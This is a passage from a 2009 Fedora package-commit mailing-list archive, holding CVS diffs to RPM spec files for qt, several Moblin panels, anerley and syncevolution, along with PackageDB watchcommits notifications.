 Obsoletes: qt4-config < 4.5.0
 Provides: qt4-config = %{version}-%{release}
-Obsoletes: qt4-sqlite < 4.5.0 
-Provides: qt4-sqlite = %{version}-%{release}
-Obsoletes: qt-sqlite < %{?epoch:%{epoch}:}4.5.0
-Provides: qt-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description 
 Qt is a software toolkit for developing applications.
@@ -315,6 +311,17 @@ Provides:  qt4-postgresql = %{version}-%
 %description postgresql 
 %{summary}.
 
+%package sqlite
+Summary: SQLite driver for Qt's SQL classes
+Group: System Environment/Libraries
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+Obsoletes: qt4-SQLite < %{version}-%{release}
+Provides:  qt4-SQLite = %{version}-%{release}
+Obsoletes: qt4-sqlite < %{version}-%{release}
+Provides:  qt4-sqlite = %{version}-%{release}
+
+%description sqlite
+%{summary}.
 
 %package x11
 Summary: Qt GUI-related libraries
@@ -332,6 +339,9 @@ Provides:  qt4-phonon = %{version}-%{rel
 Obsoletes: WebKit-qt < 1.0.0-1
 Provides:  WebKit-qt = 1.0.0-1
 %endif
+%if 0%{?sqlite:1}
+Requires: %{name}-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
 Provides: qt4-assistant = %{version}-%{release}
 Provides: %{name}-assistant = %{version}-%{release}
 Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
@@ -364,9 +374,7 @@ Qt libraries used for drawing widgets an
 ## FIXME: I think this one can be replaced with ./configure -no-javascript-jit
 ## test first if it's still needed
 #patch23 -p1 -b .javascriptcore-disable-jit
-## FIXME: qdoc3 was needed for older qt-creator builds, but it seems
-## it's not needed anymore
-#patch51 -p1 -b .qdoc3
+%patch51 -p1 -b .qdoc3
 ## FIXME: port patch
 #patch52 -p1 -b .sparc64
 ## TODO: still worth carrying?  if so, upstream it.
@@ -785,7 +793,6 @@ fi
 %{_qt4_libdir}/libQtXmlPatterns.so.4*
 %dir %{_qt4_plugindir}
 %dir %{_qt4_plugindir}/sqldrivers/
-%{_qt4_plugindir}/sqldrivers/libqsqlite*
 %{_qt4_translationdir}/
 
 %if 0%{?demos}
@@ -913,6 +920,12 @@ fi
 %{_qt4_plugindir}/sqldrivers/libqsqlpsql*
 %endif
 
+%if "%{?sqlite}" == "-plugin-sql-sqlite"
+%files sqlite
+%defattr(-,root,root,-)
+%{_qt4_plugindir}/sqldrivers/libqsqlite*
+%endif
+
 %files x11 
 %defattr(-,root,root,-)
 %{_sysconfdir}/rpm/macros.*
@@ -952,6 +965,11 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.6.0-0.2.beta1 
+- subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
+  for assistant
+- build/install qdoc3 again
+
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.0-0.1.beta1
 - qt-4.6.0-beta1
 - no kde-qt patches (yet)


--- qt-x11-opensource-src-4.5.0-qdoc3.patch DELETED ---



From pbrobinson at fedoraproject.org  Fri Oct 16 23:06:34 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 16 Oct 2009 23:06:34 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/devel .cvsignore, 1.8,
	1.9 moblin-panel-myzone.spec, 1.8, 1.9 sources, 1.8, 1.9
Message-ID: <20091016230634.D608D11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6812

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.11 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	14 Oct 2009 19:04:00 -0000	1.8
+++ .cvsignore	16 Oct 2009 23:06:34 -0000	1.9
@@ -1 +1 @@
-moblin-panel-myzone-0.0.10.tar.bz2
+moblin-panel-myzone-0.0.11.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/moblin-panel-myzone.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- moblin-panel-myzone.spec	14 Oct 2009 19:04:00 -0000	1.8
+++ moblin-panel-myzone.spec	16 Oct 2009 23:06:34 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.10
+Version:        0.0.11
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.11-1
+- New upstream 0.0.11 release
+
 * Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.10-1
 - New upstream 0.0.10 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	14 Oct 2009 19:04:00 -0000	1.8
+++ sources	16 Oct 2009 23:06:34 -0000	1.9
@@ -1 +1 @@
-710b416593d6ab75dfd1f049ecbef35a  moblin-panel-myzone-0.0.10.tar.bz2
+304052ddb7cc5e3dbabbb9e5ab2fb5cb  moblin-panel-myzone-0.0.11.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct 16 23:09:53 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 16 Oct 2009 23:09:53 +0000 (UTC)
Subject: rpms/moblin-panel-people/devel .cvsignore, 1.6,
	1.7 moblin-panel-people.spec, 1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091016230953.7859B11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7969

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	13 Oct 2009 18:35:18 -0000	1.6
+++ .cvsignore	16 Oct 2009 23:09:52 -0000	1.7
@@ -1 +1 @@
-moblin-panel-people-0.0.6.tar.bz2
+moblin-panel-people-0.0.7.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/moblin-panel-people.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- moblin-panel-people.spec	13 Oct 2009 18:35:18 -0000	1.8
+++ moblin-panel-people.spec	16 Oct 2009 23:09:52 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.6
+Version:        0.0.7
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
+- New upstream 0.0.7 release
+
 * Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
 - New upstream 0.0.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	13 Oct 2009 18:35:18 -0000	1.6
+++ sources	16 Oct 2009 23:09:53 -0000	1.7
@@ -1 +1 @@
-772e5557e49c0ca4a9bdc3340286be69  moblin-panel-people-0.0.6.tar.bz2
+bb0ce4d213e4d89175c7378cce7efdc4  moblin-panel-people-0.0.7.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct 16 23:12:28 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 16 Oct 2009 23:12:28 +0000 (UTC)
Subject: rpms/anerley/devel .cvsignore, 1.7, 1.8 anerley.spec, 1.11,
	1.12 sources, 1.7, 1.8
Message-ID: <20091016231228.5F31F11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anerley/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8481

Modified Files:
	.cvsignore anerley.spec sources 
Log Message:
- New upstream 0.1.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	11 Oct 2009 23:12:24 -0000	1.7
+++ .cvsignore	16 Oct 2009 23:12:28 -0000	1.8
@@ -1 +1 @@
-anerley-0.1.6.tar.bz2
+anerley-0.1.7.tar.bz2


Index: anerley.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/anerley.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- anerley.spec	11 Oct 2009 23:12:24 -0000	1.11
+++ anerley.spec	16 Oct 2009 23:12:28 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           anerley
-Version:        0.1.6
+Version:        0.1.7
 Release:        1%{?dist}
 Summary:        Moblin widgets for people information
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.7-1
+- New upstream 0.1.7 release
+
 * Sun Oct 11 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-1
 - New upstream 0.1.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	11 Oct 2009 23:12:24 -0000	1.7
+++ sources	16 Oct 2009 23:12:28 -0000	1.8
@@ -1 +1 @@
-36038de1f3d59f3d21444daa2a8cfe28  anerley-0.1.6.tar.bz2
+41729572c1c408fcaa9f6c19cb7df282  anerley-0.1.7.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct 16 23:31:14 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 16 Oct 2009 23:31:14 +0000 (UTC)
Subject: rpms/moblin-panel-people/F-12 .cvsignore, 1.5,
	1.6 moblin-panel-people.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091016233114.8D1F211C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14788

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	13 Oct 2009 19:00:09 -0000	1.5
+++ .cvsignore	16 Oct 2009 23:31:13 -0000	1.6
@@ -1 +1 @@
-moblin-panel-people-0.0.6.tar.bz2
+moblin-panel-people-0.0.7.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/moblin-panel-people.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- moblin-panel-people.spec	13 Oct 2009 19:00:12 -0000	1.7
+++ moblin-panel-people.spec	16 Oct 2009 23:31:13 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.6
+Version:        0.0.7
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
+- New upstream 0.0.7 release
+
 * Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
 - New upstream 0.0.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	13 Oct 2009 19:00:13 -0000	1.5
+++ sources	16 Oct 2009 23:31:13 -0000	1.6
@@ -1 +1 @@
-772e5557e49c0ca4a9bdc3340286be69  moblin-panel-people-0.0.6.tar.bz2
+bb0ce4d213e4d89175c7378cce7efdc4  moblin-panel-people-0.0.7.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct 16 23:32:27 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 16 Oct 2009 23:32:27 +0000 (UTC)
Subject: rpms/anerley/F-12 .cvsignore, 1.7, 1.8 anerley.spec, 1.11,
	1.12 sources, 1.7, 1.8
Message-ID: <20091016233227.7211011C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anerley/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14920

Modified Files:
	.cvsignore anerley.spec sources 
Log Message:
- New upstream 0.1.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	11 Oct 2009 23:21:04 -0000	1.7
+++ .cvsignore	16 Oct 2009 23:32:27 -0000	1.8
@@ -1 +1 @@
-anerley-0.1.6.tar.bz2
+anerley-0.1.7.tar.bz2


Index: anerley.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/anerley.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- anerley.spec	11 Oct 2009 23:21:04 -0000	1.11
+++ anerley.spec	16 Oct 2009 23:32:27 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           anerley
-Version:        0.1.6
+Version:        0.1.7
 Release:        1%{?dist}
 Summary:        Moblin widgets for people information
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.7-1
+- New upstream 0.1.7 release
+
 * Sun Oct 11 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-1
 - New upstream 0.1.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	11 Oct 2009 23:21:04 -0000	1.7
+++ sources	16 Oct 2009 23:32:27 -0000	1.8
@@ -1 +1 @@
-36038de1f3d59f3d21444daa2a8cfe28  anerley-0.1.6.tar.bz2
+41729572c1c408fcaa9f6c19cb7df282  anerley-0.1.7.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct 16 23:47:39 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 16 Oct 2009 23:47:39 +0000 (UTC)
Subject: rpms/moblin-panel-media/devel .cvsignore, 1.4,
	1.5 moblin-panel-media.spec, 1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091016234739.A08E811C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-media/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18302

Modified Files:
	.cvsignore moblin-panel-media.spec sources 
Log Message:
- New upstream 0.0.4 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-media/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Sep 2009 14:36:52 -0000	1.4
+++ .cvsignore	16 Oct 2009 23:47:37 -0000	1.5
@@ -1 +1 @@
-moblin-panel-media-0.0.3.tar.bz2
+moblin-panel-media-0.0.4.tar.bz2


Index: moblin-panel-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-media/devel/moblin-panel-media.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- moblin-panel-media.spec	22 Sep 2009 14:36:52 -0000	1.3
+++ moblin-panel-media.spec	16 Oct 2009 23:47:37 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           moblin-panel-media
-Version:        0.0.3
+Version:        0.0.4
 Release:        1%{?dist}
 Summary:        Moblin Panel for Media
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.4-1
+- New upstream 0.0.4 release
+
 * Tue Sep 22 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.3-1
 - New upstream 0.0.3 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-media/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Sep 2009 14:36:52 -0000	1.4
+++ sources	16 Oct 2009 23:47:37 -0000	1.5
@@ -1 +1 @@
-520a7d8d93f976acba61e4dbe3700ca7  moblin-panel-media-0.0.3.tar.bz2
+f990e5e93da9ceec683d5c5273749103  moblin-panel-media-0.0.4.tar.bz2



From pkgdb at fedoraproject.org  Fri Oct 16 23:50:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 23:50:04 +0000
Subject: [pkgdb] cinepaint: kamiloo has requested watchcommits
Message-ID: <20091016235004.106C810F8A4@bastion2.fedora.phx.redhat.com>

kamiloo has requested the watchcommits acl on cinepaint (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cinepaint



From pkgdb at fedoraproject.org  Fri Oct 16 23:50:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 23:50:50 +0000
Subject: [pkgdb] cinepaint: kamiloo has requested watchcommits
Message-ID: <20091016235050.872E510F85F@bastion2.fedora.phx.redhat.com>

kamiloo has requested the watchcommits acl on cinepaint (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cinepaint



From pkgdb at fedoraproject.org  Fri Oct 16 23:51:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 23:51:20 +0000
Subject: [pkgdb] cinepaint: kamiloo has requested watchcommits
Message-ID: <20091016235120.6E30B10F87E@bastion2.fedora.phx.redhat.com>

kamiloo has requested the watchcommits acl on cinepaint (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cinepaint



From pkgdb at fedoraproject.org  Fri Oct 16 23:51:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 23:51:33 +0000
Subject: [pkgdb] cinepaint: kamiloo has given up watchcommits
Message-ID: <20091016235133.3CD2E10F85F@bastion2.fedora.phx.redhat.com>

kamiloo has given up the watchcommits acl on cinepaint (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cinepaint



From pkgdb at fedoraproject.org  Fri Oct 16 23:51:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 23:51:36 +0000
Subject: [pkgdb] cinepaint: kamiloo has given up watchcommits
Message-ID: <20091016235136.C42A510F8A4@bastion2.fedora.phx.redhat.com>

kamiloo has given up the watchcommits acl on cinepaint (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cinepaint



From pkgdb at fedoraproject.org  Fri Oct 16 23:51:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 23:51:55 +0000
Subject: [pkgdb] cinepaint: kamiloo has requested watchcommits
Message-ID: <20091016235155.44E4510F87E@bastion2.fedora.phx.redhat.com>

kamiloo has requested the watchcommits acl on cinepaint (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cinepaint



From pbrobinson at fedoraproject.org  Sat Oct 17 00:26:02 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 17 Oct 2009 00:26:02 +0000 (UTC)
Subject: rpms/syncevolution/devel syncevolution.spec,1.15,1.16
Message-ID: <20091017002603.18FC211C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/syncevolution/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31315

Modified Files:
	syncevolution.spec 
Log Message:
- Enable the gtk and moblin guis


Index: syncevolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/syncevolution/devel/syncevolution.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- syncevolution.spec	25 Sep 2009 09:08:35 -0000	1.15
+++ syncevolution.spec	17 Oct 2009 00:25:57 -0000	1.16
@@ -1,7 +1,7 @@
 Summary: SyncML client for evolution
 Name: syncevolution
 Version: 0.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: Applications/Productivity
 URL: http://syncevolution.org/
@@ -13,12 +13,17 @@ BuildRequires: cppunit-devel
 BuildRequires: evolution-data-server-devel
 BuildRequires: expat-devel
 BuildRequires: glib2-devel
+BuildRequires: gtk2-devel
 BuildRequires: libsoup-devel
 BuildRequires: libical-devel
+BuildRequires: nbtk-devel
 BuildRequires: pcre-devel
 BuildRequires: libcurl-devel
 BuildRequires: gnome-keyring-devel
-BuildRequires: intltool automake libtool autoconf
+BuildRequires: desktop-file-utils
+BuildRequires: intltool
+BuildRequires: gettext
+BuildRequires: libtool
 
 %description
 syncevolution is designed to provide a SyncML client that can
@@ -33,6 +38,22 @@ Requires: pkgconfig
 %description devel
 Files for development with %{name}.
 
+%package gtk
+Summary: GTK+ GUI for %{name}
+Group: Development/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description gtk
+GTK+ GUI for use with %{name}.
+
+%package moblin
+Summary: Moblin GUI for %{name}
+Group: Development/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description moblin
+Moblin GUI for use with %{name}.
+
 %prep
 %setup -q
 # use the ac macros in Makefile.am
@@ -45,10 +66,10 @@ autoreconf -fiv
 (cd src/synthesis && mkdir m4 && autoreconf -fi)
 %configure --enable-unit-tests --enable-libsoup  \
     --enable-dbus-service --enable-shared --with-expat=system \
-    --disable-static
+    --disable-static --enable-gui=all
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g
 	s|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
-make %{?_smp_mflags}
+make %{?_smp_mflags} V=1
 find . -type d -perm 02755 -exec chmod 0755 '{}' \;
 
 %install
@@ -60,21 +81,27 @@ rm -rf $RPM_BUILD_ROOT%{_datadir}/doc/te
 #Remove libtool archives and static libs
 find %{buildroot} -name '*.la' -o -name '*.a' | xargs rm
 
+%find_lang %{name}
+
+desktop-file-validate %{buildroot}/%{_datadir}/applications/sync-gtk.desktop
+desktop-file-validate %{buildroot}/%{_datadir}/applications/sync-moblin.desktop
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%check
-#make test
-
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS NEWS README COPYING HACKING LICENSE.LGPL-21 LICENSE.txt
 %{_sysconfdir}/default/syncevolution
-%{_bindir}/*
+%{_bindir}/client-test
+%{_bindir}/synccompare
+%{_bindir}/syncevolution
 %{_libdir}/*so.0*
 %{_libdir}/syncevolution/*so.0*
 %{_libexecdir}/syncevo-dbus-server
 %{_datadir}/dbus-1/services/org.Moblin.SyncEvolution.service
+%{_datadir}/syncevolution/*.png
+%{_datadir}/syncevolution/sync-ui.rc
 
 %files devel
 %defattr(-,root,root,-)
@@ -85,7 +112,21 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*so
 %{_libdir}/syncevolution/*so
 
+%files gtk
+%defattr(-,root,root,-)
+%{_bindir}/sync-ui-gtk
+%{_datadir}/applications/sync-gtk.desktop
+%{_datadir}/syncevolution/ui.xml
+
+%files moblin
+%defattr(-,root,root,-)
+%{_bindir}/sync-ui-moblin
+%{_datadir}/applications/sync-moblin.desktop
+
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at redhat.com> - 0.9-2
+- Enable the gtk and moblin guis
+
 * Fri Sep 25 2009 Mat?j Cepl <mcepl at redhat.com> - 0.9-1
 - New upstream release.
 



From rdieter at fedoraproject.org  Sat Oct 17 00:26:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 17 Oct 2009 00:26:59 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.347,1.348
Message-ID: <20091017002659.086C811C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31878

Modified Files:
	qt.spec 
Log Message:
fix %%files



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.347
retrieving revision 1.348
diff -u -p -r1.347 -r1.348
--- qt.spec	16 Oct 2009 23:00:14 -0000	1.347
+++ qt.spec	17 Oct 2009 00:26:58 -0000	1.348
@@ -813,7 +813,7 @@ fi
 %{_qt4_bindir}/lupdate*
 %{_qt4_bindir}/moc*
 %{_qt4_bindir}/pixeltool*
-#{_qt4_bindir}/qdoc3*
+%{_qt4_bindir}/qdoc3*
 %{_qt4_bindir}/qmake*
 %{_qt4_bindir}/qt3to4
 %{_qt4_bindir}/qttracereplay
@@ -834,7 +834,7 @@ fi
 %{_bindir}/lupdate*
 %{_bindir}/pixeltool*
 %{_bindir}/moc*
-#{_bindir}/qdoc3
+%{_bindir}/qdoc3
 %{_bindir}/qmake*
 %{_bindir}/qt3to4
 %{_bindir}/qttracereplay



From pbrobinson at fedoraproject.org  Sat Oct 17 00:33:47 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 17 Oct 2009 00:33:47 +0000 (UTC)
Subject: rpms/syncevolution/F-12 syncevolution.spec,1.15,1.16
Message-ID: <20091017003347.733B811C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/syncevolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3266

Modified Files:
	syncevolution.spec 
Log Message:
- Enable the gtk and moblin guis


Index: syncevolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/syncevolution/F-12/syncevolution.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- syncevolution.spec	25 Sep 2009 09:08:35 -0000	1.15
+++ syncevolution.spec	17 Oct 2009 00:33:46 -0000	1.16
@@ -1,7 +1,7 @@
 Summary: SyncML client for evolution
 Name: syncevolution
 Version: 0.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: Applications/Productivity
 URL: http://syncevolution.org/
@@ -13,12 +13,17 @@ BuildRequires: cppunit-devel
 BuildRequires: evolution-data-server-devel
 BuildRequires: expat-devel
 BuildRequires: glib2-devel
+BuildRequires: gtk2-devel
 BuildRequires: libsoup-devel
 BuildRequires: libical-devel
+BuildRequires: nbtk-devel
 BuildRequires: pcre-devel
 BuildRequires: libcurl-devel
 BuildRequires: gnome-keyring-devel
-BuildRequires: intltool automake libtool autoconf
+BuildRequires: desktop-file-utils
+BuildRequires: intltool
+BuildRequires: gettext
+BuildRequires: libtool
 
 %description
 syncevolution is designed to provide a SyncML client that can
@@ -33,6 +38,22 @@ Requires: pkgconfig
 %description devel
 Files for development with %{name}.
 
+%package gtk
+Summary: GTK+ GUI for %{name}
+Group: Development/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description gtk
+GTK+ GUI for use with %{name}.
+
+%package moblin
+Summary: Moblin GUI for %{name}
+Group: Development/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description moblin
+Moblin GUI for use with %{name}.
+
 %prep
 %setup -q
 # use the ac macros in Makefile.am
@@ -45,10 +66,10 @@ autoreconf -fiv
 (cd src/synthesis && mkdir m4 && autoreconf -fi)
 %configure --enable-unit-tests --enable-libsoup  \
     --enable-dbus-service --enable-shared --with-expat=system \
-    --disable-static
+    --disable-static --enable-gui=all
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g
 	s|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
-make %{?_smp_mflags}
+make %{?_smp_mflags} V=1
 find . -type d -perm 02755 -exec chmod 0755 '{}' \;
 
 %install
@@ -60,21 +81,27 @@ rm -rf $RPM_BUILD_ROOT%{_datadir}/doc/te
 #Remove libtool archives and static libs
 find %{buildroot} -name '*.la' -o -name '*.a' | xargs rm
 
+%find_lang %{name}
+
+desktop-file-validate %{buildroot}/%{_datadir}/applications/sync-gtk.desktop
+desktop-file-validate %{buildroot}/%{_datadir}/applications/sync-moblin.desktop
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%check
-#make test
-
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS NEWS README COPYING HACKING LICENSE.LGPL-21 LICENSE.txt
 %{_sysconfdir}/default/syncevolution
-%{_bindir}/*
+%{_bindir}/client-test
+%{_bindir}/synccompare
+%{_bindir}/syncevolution
 %{_libdir}/*so.0*
 %{_libdir}/syncevolution/*so.0*
 %{_libexecdir}/syncevo-dbus-server
